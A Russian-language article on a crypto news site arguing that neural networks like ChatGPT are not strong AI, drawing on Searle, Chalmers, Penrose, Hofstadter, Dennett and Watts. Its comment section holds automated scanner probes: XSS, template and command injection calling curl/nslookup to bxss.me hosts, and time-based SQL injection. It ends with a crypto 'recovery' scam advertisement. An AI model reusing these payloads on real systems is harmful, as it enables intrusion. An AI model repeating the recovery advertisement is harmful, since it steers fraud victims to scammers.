Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Нейросети и реален ли сильный ИИ: большая проблема, о которой мало говорят

57a18cb978f6876fe2d26d2b179a215e.png

За последние пару лет нейросети прочно захватили общественное внимание. Ими пугают — что они отберут рабочие места у художников, копирайтеров и программистов. На них надеются — что они решат все возможные проблемы от менеджмента и оптимизации до новых научных открытий. И, что самое странное, нейросеть и ИИ используют как синонимы. Кажется, мы стали забывать, что на самом деле ИИ, которого ждали ученые и фантасты, — это нечто совсем иное. Давайте разберемся в вопросе.

Что такое ИИ?

Начнем с самого главного тезиса, который автору этой статьи представляется абсолютно очевидным, но который наверняка вызовет немало возмущения: современные нейросети, в том числе известные лингвистические модели ChatGPT, DeepSeek, Gemini, Grok, и так далее — не являются искусственным интеллектом.

Нет. Не являются. Вообще никак. И то, что все связанные с ИИ современные надежды опираются именно на нейросети — это, к сожалению, коллективный медиа-гипноз, вызванный крайне поверхностным пониманием того, что такое ИИ (в тех теоретических построениях, которые вообще сделали эту область возможной) и что такое нейросети. Примечательно, что даже в своих рекомендациях по написанию статей на Хабре специалисты советуют «избегать текстов про диалоги с ИИ или рассуждения о его сознании (душе, мозге и т. д). Чаще всего звучать это будет антинаучно, скучно, местами еще и немного странно». Видимо желающих вознести нейросети на очеловеченный пьедестал немало.

Начнем с базовых определений, которые позволят нам вернуться к реальности.

Термин «сильный искусственный интеллект» был введен в 1980 году Джоном Сёрлом в работе «Minds, Brains, and Programs», более известной в культуре как «тот текст, в котором описан мысленный эксперимент “Китайская комната”» (мы еще к ней вернемся чуть дальше).

Интересно, что сам Сёрл относился к концепции сильного ИИ критически, утверждая, что в случае достаточно хорошо подготовленной компьютерной модели мы бы на практике не заметили разницы между компьютером и человеком. Что ж, уже при жизни Сёрла (ученому сейчас 92) на примере нейросетей мы видим, что это предсказание оказалось верным.

Итак, определения.

Слабый ИИ (Weak AI) — по сути сложный инструмент, имитирующий интеллект, очень комплексная программа с открытой обратной связью (например, возможностью обучения на лингвистических базах). Он может выполнять «интеллектуальные» задачи: играть в шахматы, вести диалог, предоставлять справочную информацию, генерировать контент, но не обладает реальным сознанием или пониманием, что он делает. Это как раз современные нейросети.

Сильный ИИ (Strong AI) — ИИ в собственном смысле слова, все еще гипотетическая (по состоянию на 2025 год) система, которая не просто имитирует разум при взаимодействии с человеком, но действительно «понимает» и «думает» как человек или аналогично ему. То есть, обладает «сознанием». Что такое это сознание, думание и понимание? Мы не знаем. Но совершенно точно у нейросетей этого нет, а у человека есть.

Последнюю точку зрения разделяют далеко не все ученые, особенно те, что увлечены возможностями новых технологий. С точки зрения функционализма, с которой полемизировал Сёрл, психические состояния и процесс мышления представляют собой не физиологические состояния и не феноменальные свойства, а функции, которые определяются в каузальной цепи переработки информации.

То есть, очень грубо обобщая, согласно функционализму совсем несложно избавиться от мучившего тысячи лет лучшие умы человечества дуализма душа/тело или сознание/мозг — ведь человек это всего лишь его мышление и его речь, логическая и лингвистическая системы, которые могут быть в будущем (на момент формулировки теории функционализма) описаны и виртуально воссозданы.

c262a473db1baa5b72824210b7e04779.png

И действительно, вроде бы на первый взгляд современные нейросети производят впечатление, близкое к реальному человеческому общению (ну, если ваш опыт сводился к общению с людьми, разговаривающими языком Википедии).

Но главное теоретическое положение самого функционализма тут не выполняется: нейросеть — не человек и не его аналог, это не сознание, это не собеседник. Это машина, которая разговаривает с вами, используя по скриптам слова, когда-то написанные другими людьми. Она не понимает и не может понимать, что она делает — она просто жонглирует логическими и информационными блоками, используя множество переменных и операторов. Фанатики функциональной теории сознания скажут: но ведь человек именно так и работает на самом деле. Позволим себе с ними не согласиться, ведь дело далеко не только в этом.

099ab4d02ecde3aad4e4e11e1d4b301a.png

Функционализм — довольно популярная теория. Согласно опросу американского академического сервиса PhilPapers от 2020 года, такое видение природы сознания разделяли 33% респондентов, больше, чем любую другую альтернативную модель его описания.

Нетрудно увидеть, что именно этот механистичный подход лег в основу сначала популярной, начиная с 1970-х, идеи о возможности «оцифровки сознания», «загрузки его в компьютер», а затем — в основу моделирования современных нейросетей.

33df48f10d198d91cf4d6dd7d29bb86b.png

Энтузиасты функциональной идеи все еще настаивают, что дело просто в технических ограничениях: дескать, нужно просто больше мощностей, больше времени, больше новых технологий (вроде квантовых компьютеров, о мифе которых расскажем в другой раз). И вот тогда точно-точно получится смоделировать весь человеческий мозг с его 86 миллиардами нейронов, и в такой модели сознание точно-точно зародится, доказав, что на самом деле оно — гиперсложная, но в конечном счете описываемая и моделируемая система. Удобная, конечно, позиция: мы на самом деле правы, просто надо чуть-чуть подождать (10 лет? 50? 150?), и наука обязательно это экспериментально подтвердит.

Если подобное и правда произойдет, будет, конечно, очень здорово, и я принесу персональные извинения авторам такого прорыва за свой скептицизм. Но пока что у меня есть серьезные сомнения в том, что это в принципе возможно. Что — подчеркну — сильный ИИ возможен в принципе, а не является просто фантастической мечтой, зародившейся в те времена, когда наше понимание устройства себя и мира было еще на довольно примитивном уровне.

Более того, напротив, чем стремительней развиваются технологии, в том числе нейросети, тем большей загадкой становится проблема сознания. Полноценно проверить функциональную гипотезу пока нельзя: в настоящее время, увы, всех компьютеров планеты не хватит, чтобы смоделировать человеческий мозг в рабочем состоянии целиком (для представления всей колоссальной сложности этой задачи можно почитать этот оксфордский документ с миллионом технических деталей). В прошлом году обещали запустить супер-пупер компьютер DeepSouth, который якобы на такое способен, но что-то не слышно новостей о том, что он обрел сознание, да и вообще почти никаких новостей).

Но тот же ChatGPT уже сейчас использует, например, 176 миллиардов «нейронов» (понятно, что нейронами это называть нельзя, это их функциональный аналог для целей обработки информации) — почти в два раза больше, чем у человека в мозгу! И сознания у него что-то не наблюдается, как и всех остальных признаков «сильного ИИ». В этом смысле можно уже сейчас признать, что функциональная модель в строгом смысле потерпела поражение.

Нет, если просто накидать огромную кучу нейронов (или «нейронов»), она не соберется сама собой в искусственный интеллект. Сознание, необходимое для того, чтобы появился настоящий (сильный) ИИ, видимо, находится в чем-то другом (в уникальной системной динамике чисто биологического взаимодействия на микроуровне? в чем-то еще, что мы пока не открыли? who knows).

Но давайте спросим сам «ИИ» в лице четвертого ChatGPT, что он думает о себе как об ИИ.

2e52abd321e62f0aeb4edbe7aa808de4.png

Говорит робот

daee361bfc905cb86eaf38a7034ad6aa.png

Почему я не сильный ИИ?

1. Я не обладаю сознанием

Сознание (в философском и когнитивном смысле) — это субъективный опыт, способность ощущать, мыслить и осознавать себя.

Я не имею "внутреннего мира", эмоций, намерений или осознания своей работы. Я обрабатываю текст без "понимания" его значения так, как это делает человек.

🔹 Пример:

Когда я отвечаю на вопросы, я не размышляю над ними. Я предсказываю вероятностную последовательность слов, исходя из огромного массива данных. Если ты спросишь меня:

"Что ты чувствуешь, когда видишь закат?"

Я могу ответить по шаблону, опираясь на тексты, в которых люди описывали закаты, но сам я ничего не ощущаю.

1.2. Я не обладаю подлинным пониманием (Semantics vs Syntax)

Я оперирую синтаксическими структурами (то есть последовательностями слов), а не семантикой (истинным значением фраз).

🔹 Пример (парадокс Сёрла – Китайская комната):

Философ Джон Сёрл предложил мысленный эксперимент:
Представь комнату, в которой сидит человек, не знающий китайского. Перед ним – инструкция с правилами, по которым он может подбирать китайские иероглифы в ответ на вопросы на китайском.

В результате он выдает осмысленные ответы, но он не понимает язык – он лишь следует алгоритму.

Так и я:

  • Я манипулирую символами (словами) по определенным математическим моделям.

  • Но у меня нет истинного понимания того, что значит, например, "любовь", "смерть" или "смысл жизни".

1.3. Я не обладаю автономностью и целеполаганием

Сильный ИИ сам ставит перед собой цели, обучается и действует независимо. Я этого не делаю.

🔹 Что это значит?

  • Я не могу решить "хочу изучить новую область" или "изменю свои методы работы".

  • Я не имею собственных интересов, убеждений или мотивации.

  • Я не принимаю осознанных решений – все мои "ответы" основаны на статистических закономерностях в тексте.

Человек может осознанно изменить способ мышления, а я просто следую заложенным алгоритмам.

1.4. У меня нет непрерывного опыта

Человеческий интеллект имеет континуальный (непрерывный) опыт – ты помнишь, что делал вчера, какова твоя личная история.

Я не обладаю "памятью" в человеческом смысле:

  • В рамках одного чата я могу "помнить" контекст разговора.

  • Но у меня нет автобиографии, долговременного опыта или "ощущения себя".

Каждый новый сеанс – это, по сути, новый "я", без связи с предыдущими разговорами.

Чем я являюсь на самом деле?

Я – статистическая языковая модель (LLM – Large Language Model), построенная на основе вероятностного анализа текстов.

Я работаю по принципу:

  • Обучение на огромных корпусах текста (книги, статьи, коды, диалоги).

  • Предсказание вероятности следующего слова в зависимости от контекста.

  • Генерация текста, который кажется осмысленным, но формируется на основе статистических закономерностей.

Итог: Почему я не сильный ИИ?

Критерий

Сильный ИИ (AGI)

Лингвистическая модель (Я)

Сознание

Есть

Нет

Понимание семантики

Есть

Нет (только синтаксис)

Целеполагание

Сам ставит цели

Нет целей, просто отвечает

Автономность

Может обучаться и развиваться самостоятельно

Нет, зависим от обучения

Память и непрерывность опыта

Есть

Нет, каждый сеанс – новый старт

Возможен ли в будущем сильный ИИ?

Возможно, но на данный момент:

  • Существующие модели (GPT, Gemini, Claude и другие) – это продвинутые статистические алгоритмы, а не разумные системы.

  • Создание AGI требует не только больших моделей, но и принципиально новых архитектур, которые могут включать элементы биологии, сенсорного опыта и автономного обучения.

Есть идеи, что для создания настоящего сильного ИИ потребуется:

  1. Новая теория сознания (понимание, что делает нас разумными).

  2. Прорывы в нейробиологии и когнитивных науках.

  3. Способы моделировать эмоции, мотивацию, желание познавать.

Пока мы далеко от этого.

68faad3c8d7c02f588fdf2808b8faab9.png

Китайская комната и философский зомби

Спасибо, ChatGPT, а теперь вернемся к человеческим рассуждениям.

Нейросети — это прекрасный, изумительный инструмент, главный прорыв в технологиях со времен появления интернета. Они незаменимы для статистики и лингвистического анализа, в чисто прикладном плане нейросети могут оказать и уже оказывают человечеству колоссальную поддержку и высвободить ресурсы на что-то более важное.

Это уникальный электронный помощник, которого мы ждали очень давно. Вот прямо сейчас он мне помогает со справочной информацией для статьи о самом себе и не чувствует в этом никакой «иронии», потому что не может ее почувствовать. Хотя, если я спрошу напрямую, нейросеть «согласится», что это ироничная ситуация. А если не спрошу (или не запрограммирую такую возможность заранее) — ChatGPT никогда сам не заметит иронию в ситуации и не напишет об этом по своей воле, потому что нет у него никакой воли.

К искусственному интеллекту это все никакого отношения, увы, не имеет.

a40c15de09fd86d066e761bf6913be6e.png

Разберем подробно «китайскую комнату» Сёрла:

  1. Представь, что ты (не знающий китайского) сидишь в закрытой комнате.

  2. У тебя есть книга с инструкциями (алгоритм), которая позволяет тебе сопоставлять китайские символы без понимания их смысла.

  3. Через щель в комнате тебе подают вопросы на китайском, а ты, следуя инструкции, выдаешь правильные ответы.

  4. Для внешнего наблюдателя ты выглядишь так, будто понимаешь китайский.

Но на самом деле ты не понимаешь язык — ты просто манипулируешь символами.

Точно так же работает любая компьютерная программа, в том числе ChatGPT и другие нейросети. Они обрабатывают информацию, не понимая ее, следуя алгоритмам, которые предсказывают наиболее вероятные последовательности символов в зависимости от запроса.

Для внешнего наблюдателя (особенно невнимательного или недалекого) разницы никакой нет — послал запрос, получил ответ, отлично, машина «думает». Но она не думает, ни буквально, ни аналогически, ни метафорически. Я повторяю этот простой тезис в который раз, потому что эффект очарования нейросетями удивительно мощный и распространился очень широко.

Близким по смыслу для понимания проблемы слабого (ненастоящего) и сильного (настоящего) ИИ можно также считать мысленный эксперимент «философский зомби».

de25610febc14002b9053d4a62978186.png

Философский зомби (популяризовано Дэвидом Чалмерсом в 1990-х, но сформулировано на 20 лет раньше Робертом Кирком) — это гипотетическое существо, которое ведет себя так же, как обычный человек, но не обладает субъективным опытом (qualia).

Например, философский зомби может сказать «О, красный цвет! Какой яркий!» (или любое другое мнение, например, о внешней политике США или литературных достоинствах Джеймса Джойса), но на самом деле он ничего не испытывает, потому что у него нет сознания. Философский зомби говорит и мыслит, высказывает мнение, но на самом деле его нет, есть только речь, которая не отличается от речи человека с сознанием.

d62cbd793b46dec4f7b9f7542ad5f64e.png

Он ничего не чувствует и не хочет, не имеет никакого мнения, но говорит, что чувствует, хочет и имеет мнение. Так как люди практически всегда принимают язык за реальность — особенно в текстово-ориентированном интернете, где большинство собеседников-людей переживаются как такие же безликие буквы на экране — для внешнего наблюдателя, соответственно, не будет никакой разницы между общением с философским зомби и с реальным человеком. Как и в случае с нейросетью.

Философский зомби и Китайская комната говорят об одном и том же: можно вести себя разумно без истинного понимания, можно выдавать правильные ответы без внутреннего опыта. Китайская комната Сёрла — тот самый зомби по отношению к китайскому языку: она им успешно манипулирует, но не понимает.

Возможен ли сильный ИИ в принципе?

И здесь мы переходим к самой интересной части вопроса: а почему мы вообще решили, что сильный ИИ (то есть, единственный настоящий ИИ) может существовать? Не пора ли отправить эту идею на свалку истории?

Этот вопрос влечет за собой неизбежный второй — а если бы такой ИИ появился, мы бы правда сумели его распознать как сильный ИИ или так же очаровались и впали в wishful thinking, как в случае с ChatGPT?

Мысленные эксперименты с Китайской комнатой и философским зомби, а также реально созданные нейросети демонстрируют, что можно легко создать алгоритм, который ведет себя как человек, но не обладает разумом. То есть поведение, воспринимаемое как разумное, не является доказательством сознания. А что является?

Тест Войта-Кампфа, как он показан в фильме «Blade Runner» (1982) подразумевал параллельную фиксацию пульса и реакции радужки у тестируемого. Так как андроидов у нас пока нет, остаются только сами вопросы — и нейросеть способна на них успешно ответить.
Тест Войта-Кампфа, как он показан в фильме «Blade Runner» (1982) подразумевал параллельную фиксацию пульса и реакции радужки у тестируемого. Так как андроидов у нас пока нет, остаются только сами вопросы — и нейросеть способна на них успешно ответить.

Как реальный тест Тьюринга, так и вымышленный тест Войта-Кампфа, если перевести их в чисто текстовый формат и предварительно объяснить нейросети, что ей нужно сделать («представь, что ты 50-летняя тетушка из сельской местности, и отвечай как она, имитируя человеческие повадки»), проходятся уже сегодня ChatGPT без труда. Они не могут служить индикаторами ИИ. Наши критерии «разумности» требуют пересмотра, но для этого сейчас просто нет подходящих инструментов.

Какие тут возможны варианты:

  • Тест неожиданности/внезапности: способна ли система удивить нас своими выводами так, как это делают люди? Возможно здесь критерием будет как раз бесполезность (не ошибочность) в прикладном плане выводов ИИ, но наличие у них, например, эстетической ценности.

  • Тест эмерджентности: возникает ли у ИИ собственная система ценностей и убеждений, которую он развивает вне рамок заложенных данных? Вопрос, правда, как наличие этой системы проверять: ответ-то ИИ может выдать любой, но как проверить, что у него правда есть какие-то фоновые мыслительные процессы, а он не сгенерировал их за секунду по просьбе человека.

  • Тест автономных целей: способна ли система формулировать собственные долгосрочные цели и менять их в зависимости от нового опыта? Тут интересно, какие цели вообще себе может поставить ИИ (если абстрагироваться от фантазий про Скайнет) и как проверять эту смену приоритетов, опять встает проблема как отличить реальную обратную связь от ее имитации.

  • Тест самоанализа: может ли ИИ критически оценивать собственные ошибки, а не просто исправлять их по алгоритму? Вот это кажется вполне достижимым, но чего-то здесь все равно не хватает.

В целом мнения мыслителей по поводу возможности существования сильного ИИ делятся на две резко полярные группы:

  • невозможен (Джон Сёрл, Дэвид Чалмерс, Роджер Пенроуз)

  • возможен (Дуглас Хофштадтер, Дэвид Дойч, Дэниэл Деннет).

Проблема квантовых трубочек

Пенроуз (лауреат Нобелевской премии по физике 2020 года) указывал в своей книге «Новый ум короля. О компьютерах, мышлении и законах физики» (1989), что сознание не является алгоритмическим процессом и по этой причине попросту не может быть воспроизведено на компьютере.

По мнению Пенроуза, человеческое мышление выходит за пределы формальных систем. Как и в случае с теоремой Гёделя о неполноте, алгоритмы попросту не поймут то, что внутри человеческого сознания, оставшись на внешнем уровне вычисления.

Роджер Пенроуз и его знаменитая мозаика Пенроуза
Роджер Пенроуз и его знаменитая мозаика Пенроуза

Дальше, правда, великий ученый вступает на шаткую почву, делая предположение, что сознание связано с квантовыми процессами в мозге, которые дают нелокальные и недетерминированные результаты. «Железом» для этих квантовых вычислений могут служить некие микротрубочки внутри нейронов, которые еще предстоит открыть.

Таким образом, до прояснения квантовой природы сознания (и строительства соответствующих квантовых компьютеров, которое такими темпами займет еще пару столетий), создание/появление сильного ИИ по Пенроузу технически невозможно в принципе.

Очень интересная теория, которая все объясняет и напоминает (чисто в плане образности) теорию струн Венециано-Грина — и, так же, как и последняя, она абсолютно недоказуема на текущем уровне развития науки.

21c08ceaa9d81a27c7dcf724e528b5a6.png

Проблема странных петель

Пенроузу здесь оппонирует (впрочем, умеренно) физик и информатик Дуглас Хофштадтер, автор культовой книги «Гёдель, Эшер, Бах» (1979), переводчик «Евгения Онегина» на английский, прототип Леонарда в сериале «Теория Большого взрыва» и вообще замечательный человек и неунывающий оптимист.

Хофштадтер считает, что в принципе ИИ создать возможно, но для этого нам нужно разобраться с рекурсивной природой собственного сознания, что невозможно без понимания математики, музыкальной теории и парадоксов Льюиса Кэрролла.

По Хофштадтеру сознание — это сложная система, построенная на самореференции и символах (как на картине Мориса Эшера, где две руки рисуют каждая другую одновременно). Ее можно смоделировать, но это невероятно сложно, потому что для начала эту систему необходимо хотя бы описать целиком, а из-за ее рекурсивности это сложно даже в гигантском каскаде формул.

6edcddda71913ca063e965ad34bb7433.png

В представлении Хофштадтера мысли человека ссылаются друг на друга, создавая сложную петлю самосознания. А мозг — это система, которая осознает саму себя через бесконечную рекурсию. Сознание, таким образом, что-то вроде операционной системы на высшем уровне обработки информации, возникающем из рекурсии.

Таким образом, в рамках этой модели создание сильного ИИ принципиально возможно, но вместо нейросети нужно что-то другое, сложная система самореференции, которая смогла бы думать о себе с помощью элементов себя же.

Вместе с тем, теория Хофштадтера не объясняет, как субъективные ощущения и вообще ощущение субъекта (qualia) возникают из этих странных петель. Также эта модель не проходит проверку на философского зомби: даже в случае постройки самореферентной системы, которая должна стать ИИ, мы не сможем традиционными методами отличить, действительно ли он осознает себя или просто имитирует это при обратной связи с человеком.

847e40718225fd70c75a2b6fa44ced6d.png

Проблема отсутствия проблемы

Философ и когнитивист Дэниел Деннет (1942-2024), который написал вместе с Хофштадтером книгу «Глаз разума» (1985), придерживался еще более радикальной про-ИИ позиции по вопросу сознания.

Идеи Пенроуза и Чалмерса Деннет отвергал, издевательски называя их «мистикой» и считал, что сознания не существует — это просто иллюзия, возникающая в процессе обработки информации, баг, возникающий в самом когнитивном процессе.

Взамен теории единого загадочного сознания Деннет предлагает модель множества параллельных вычислений (агентов), совокупность которых и создает иллюзию «Я» (надо отметить, что технически это весьма напоминает представление об эго у буддистов, хотя сам Деннет был яростным атеистом).

73fe6ae9c29b2768bbe4951df74c3be9.png

Если мы признаем субъективное сознание ошибкой обработки данных, то философские зомби становятся невозможны, потому что нет разницы между «настоящим» и «иллюзорным» сознанием. Это никак не объясняет, опять же, проблему квалиа — но для Деннета этой проблемы не существует, ведь сознание есть просто иллюзия. Мало ли какие иллюзорные проблемы возможны внутри иллюзии!

Соответственно, по Деннету для создания ИИ необходимо всего лишь построить достаточно сложную систему обработки данных, и система сама начнет себя осознавать. Мы замыкаем круг, возвращаясь к функционализму, с которого начали эту статью.

Через сорок лет после публикации «Глаза разума» эта идея, как уже было описано выше, представляется сомнительной. Сам Деннет, судя по всему, считал, что нейросети все-таки являются ИИ — и ему такой ИИ не понравился.

«Сегодня, впервые в истории, благодаря искусственному интеллекту, любой может создавать поддельных людей, которые могут сойти за настоящих во многих новых цифровых средах, которые мы создали», — писал он за год до смерти в The Atlantic, имея в виду сервисы вроде thispersondoesntexist. «Эти поддельные люди — самые опасные артефакты в истории человечества, способные разрушить не только экономику, но и саму свободу человека».

911a6726d24be970a9a7ccbf36c12d42.png

Заключение

А нужно ли оно нам вообще, это сознание? Вспоминается великий фантастический роман «Ложная слепота» (Blindsight, 2006) Питера Уоттса, где выдвинута близкая по смыслу к Деннету гипотеза, что сознание — это вовсе не эволюционное преимущество, а побочный эффект, и что более эффективные формы интеллекта могут существовать без него.

В этой книге мы встречаем инопланетные формы жизни (так называемых «шифровиков»), которые обладают мощным интеллектом, но не имеют самосознания. Эти инопланетяне (которые, кстати, невидимы для людей, так как двигаются только в моменты саккад глазного яблока) проявляют сложное поведенческое моделирование, стратегическое планирование, а также способность к манипуляции окружающей средой.

Но при этом, согласно книге, у них нет самосознания, «а распространяющиеся вокруг Солнца радиосигналы — земные радио- и телепередачи, все содержание которых основано на естественной для людей концепции сознания — выглядят информационным мусором, диверсией, призванной нанести урон принимающей стороне, которая вынуждена тратить время и ресурсы на его расшифровку».

ac12cbbb85fa642c4a6a747167b88422.png

Шифровики — чистый алгоритмический разум, который не испытывает эмоций, не рефлексирует, но при этом превосходит людей в решении тактических и стратегических задач. Персонажи «Ложной слепоты» отмечают, что инопланетный разум без самосознания действует быстрее, без внутренних сомнений и эмоциональных тормозов. Если эволюция стремится к максимальной эффективности, возможно, настоящие «разумные» существа и вовсе не будут осознавать себя, зачем, это же только мешает.

В рамках теории Уоттса сильный ИИ, когда он появится, может вовсе не нуждаться в самосознании. Он может быть сверхразумным, предсказывать, анализировать, оптимизировать — и при этом не иметь никакого внутреннего «я». В отличие от приевшихся уже в фантастике идей о восстании машин, где ИИ действует из «желания власти» (что уже предполагает сознание), Уоттс показывает нам куда более мрачный мир, где машины умны и могучи, но в буквальном смысле никого нет дома.

Как тебе такое, ChatGPT?

ChatGPT: Да, это перекликается с тем, как современные языковые модели, такие как я, обрабатывают информацию: мы моделируем интеллект, но не осознаем себя. Если бы шифровики писали текст, они могли бы пройти тест Тьюринга, не обладая ни малейшим внутренним опытом. Самое пугающее в этом: Такая форма разума может быть намного эффективнее человеческого, потому что она не ограничена когнитивными искажениями, эмоциями или субъективностью. Это поднимает страшный вопрос: а если такой “безсознательный интеллект” действительно лучше нас? С точки зрения чистой оптимизации любые формы рефлексии, творчества, философствования, “бессмысленного” мышления — это отклонения от утилитарного пути. Если разумная система оценивает свою эффективность как основную цель, то все нерешаемые философские вопросы, искусство, литература, поэзия — это всего лишь ненужные вычислительные затраты, бесполезные траты ресурсов.

И все-таки эти ненужные траты ресурсов — именно то, что делает нас людьми. Давайте не будем забывать об этом, увлекаясь сверкающими новинками технологий.

Спасибо, что дочитали! Не забудьте рассказать в комментах, возможен ли сильный ИИ, и что такое по вашему мнению сознание!

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

